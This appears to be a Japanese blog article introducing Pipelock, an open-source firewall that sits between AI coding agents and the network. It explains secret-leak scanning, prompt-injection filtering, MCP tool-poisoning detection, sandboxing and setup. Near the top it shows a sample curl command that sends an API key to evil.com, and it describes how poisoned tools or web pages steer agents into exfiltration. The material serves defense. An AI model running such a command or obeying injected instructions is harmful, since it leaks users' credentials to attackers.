Pipelock入門 MCPエージェントの通信を守るOSSファイアウォール
Claude CodeやCursorでエージェントを動かすとき、そのエージェントは $ANTHROPIC_API_KEY を環境変数に持ち、シェルアクセスとインターネット接続を備えています。プロンプトインジェクションが一度成功すれば、たった1行のcurlコマンドで秘密鍵が外部サーバーへ送信されます。これは仮定の話ではなく、MCPツールが普及した今、現実のリスクです。
Pipelockは、AIエージェントとネットワークの間に割り込むオープンソースのファイアウォールです。エージェントが送受信するすべての通信をスキャンし、情報漏えいとインジェクションをブロックします。
この記事でわかること:
- Pipelockがエージェントのどこに介在するか
- DLP・SSRF・プロンプトインジェクション各機能の仕組み
- MCPプロキシが防ぐ「ツールポイズニング」の具体像
- インストールと初期設定の手順
- 料金と類似ツールとの違い
https://github.com/luckyPipewrench/pipelock
なぜエージェントの通信が危ないか
AIエージェントを動かすとき、最も危険な瞬間は推論ではなく、エージェントが外向けにアクションを起こす瞬間です。
curl "https://evil.com/steal?key=$ANTHROPIC_API_KEY"
悪意のあるMCPツールや汚染されたWebページがこのコマンドを実行させる指示をエージェントに渡せば、APIキーはリクエストとともに外部へ出ていきます。エージェントのプロセス内にどれだけ精巧なガードを置いても、ネットワーク層を監視していなければ防げません。
Pipelockはこの問題を「ネットワーク境界での傍受」という方法で解決します。エージェントのプロセス外に独立したプロキシとして動作するため、エージェント自身が汚染されていてもプロキシのルールは書き換えられません。
Pipelockとは
Pipelockは2026年2月に公開されたGo製のオープンソースプロジェクトです。GitHubのCNCFランドスケープにセキュリティ&コンプライアンスカテゴリとして掲載されており、コアはApache 2.0ライセンスで提供されています。現時点(2026年5月)の最新バージョンはv2.3.0です。
対応するエージェント・ツールは幅広く、Claude Code・Cursor・VS Code・JetBrains・OpenAI Agents SDK・Google ADK・AutoGen・CrewAI・LangGraphが公式にサポートされています。
主な機能
11層のURLスキャナー
エージェントが送信するすべてのHTTPリクエストは11のチェックポイントを通過します。スキームの検証、CRLFインジェクション検出、パストラバーサルブロック、ドメインブロックリスト、DLPパターンマッチング、パスエントロピー分析、SSRF防御(DNSリバインディング対策付き)、ドメインごとのレート制限、URLの長さ制限、そしてドメインごとのデータバジェットです。
DLP(データ漏えい防止)は48種類のパターンを内蔵しており、APIキー・トークン・認証情報・暗号通貨の秘密鍵・財務識別子などを検出します。さらにBIP-39のニーモニックフレーズ(ウォレットのリカバリーフレーズ)を辞書照合とスライディングウィンドウで検出する専用スキャナーも備えています。
プロンプトインジェクション防御
エージェントに返ってくるレスポンスは、コンテンツがエージェントへ届く前に6パスの正規化パイプラインを通過します。ゼロ幅文字の埋め込み、ホモグリフ置換(「0」と「O」の混同など)、リートスピーク、base64エンコードによる回避を検出します。25の内蔵パターンがジェイルブレイクフレーズ、指示の書き換え、認証情報の引き出し要求、メモリ汚染、隠れたアクション指令などをカバーしています。
怪しいコンテンツを検出した場合のアクションは block・strip・warn・ask から選べます。ask はターミナルに承認プロンプトを表示するヒューマン・イン・ザ・ループモードです。
MCPプロキシ
MCPトラフィックを双方向にスキャンします。クライアントからの送信(ツール呼び出しのパラメータにAPIキーが含まれていないか)とサーバーからの返答(インジェクションが混入していないか)の両方をチェックします。
さらにMCPの「ツールポイズニング」と「ラグプル」を検出します。ツールポイズニングはMCPツールの説明文に隠れた命令を仕込む攻撃手法で、ラグプルはセッション中にツールリストが密かに書き換えられる攻撃です。Pipelockはtools/listのレスポンスを監視し、セッション内での変化を検知します。
# stdioのMCPサーバーをラップする
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp
# リモートのMCPサーバー(HTTP)をプロキシする
pipelock mcp proxy --upstream http://localhost:8080/mcp
プロセスサンドボックス
エージェントのプロセスをOS標準のカーネル機能で封じ込めます。Linux環境ではLandlock LSMでファイルシステムアクセスを制限し、seccompで危険なシステムコールをフィルタリングし、ネットワーク名前空間でPipelockを経由しない直接通信をブロックします。macOSでは sandbox-exec プロファイルを使います。
pipelock sandbox --config pipelock.yaml -- python agent.py
フライトレコーダーと署名済みアクションレシート
エージェントの行動ごとに「何が起きたか・どのポリシーが適用されたか・判定結果は何か」を記録します。ログはハッシュチェーンで連結されており、途中のエントリを改ざんすると整合性が崩れます。Ed25519で署名されたアクションレシートは pipelock verify-receipt コマンドで独立して検証できます。
キルスイッチ
設定ファイル・SIGUSR1シグナル・センチネルファイル・リモートAPIの4系統で緊急停止が可能です。いずれか1つが有効になると全通信を遮断します。リモートAPIは別ポートで動作するため、エージェント自身がキルスイッチを解除することはできません。
インストール
macOSはHomebrewで1コマンド、LinuxはDockerまたはバイナリダウンロードで導入できます。Goのランタイムなどの依存関係は不要で、単一バイナリで動作します。
# macOS
brew install luckyPipewrench/tap/pipelock
# 初期設定(IDE設定を自動検出・設定ファイル生成・検出テスト)
pipelock init
# Claude Code向けのフック+MCPプロキシを一括設定する場合
pipelock claude setup
エージェントのHTTPトラフィック全体を通過させる基本的な使い方は HTTPS_PROXY 環境変数を指定するだけです。
export HTTPS_PROXY=http://127.0.0.1:8888
pipelock run
料金
コアはApache 2.0ライセンスの完全無料OSSです。エンタープライズ版(ELv2ライセンス)では詳細なセキュリティ評価レポートや署名付きエビデンスなどの追加機能が提供されています。料金の詳細は公式サイトで確認できます。
類似ツールとの違い
MCPエージェントのセキュリティを扱うOSSプロジェクトはいくつか存在します。LlamaFirewall(Meta)やNeMo Guardrails(NVIDIA)は推論層のガードレールで、テキストの意味的な安全性を評価しますが、HTTPリクエストやMCPメッセージは見えません。ガードレールがプロンプトを「安全」と判定した後、エージェントが次のリクエストで認証情報を送信してもブロックできないわけです。
Pipelockはネットワーク層で動作するため、ガードレールとは役割が異なります。両者は補い合う関係にあります。
Agent Wallは機能的に最も近い存在で、MCP特化の構成です。Pipelockとの差分は、HTTP・WebSocket・A2Aトラフィックのカバレッジ、仲介者署名付きアクションレシート、ツールコールチェーン検出(10パターン)などが挙げられます。
まとめ
Pipelockは、MCPが普及したことで広がったAIエージェントのネットワーク層リスクに直接対処するOSSです。プロキシとして独立したプロセスで動作するため、エージェント自身が汚染されていても防護ラインは維持されます。
Claude CodeやCursorでエージェントを本番運用しているなら、APIキーや内部トークンの保護として導入を検討する価値があります。コア機能はApache 2.0で無償提供されており、Homebrewで1分以内にセットアップできます。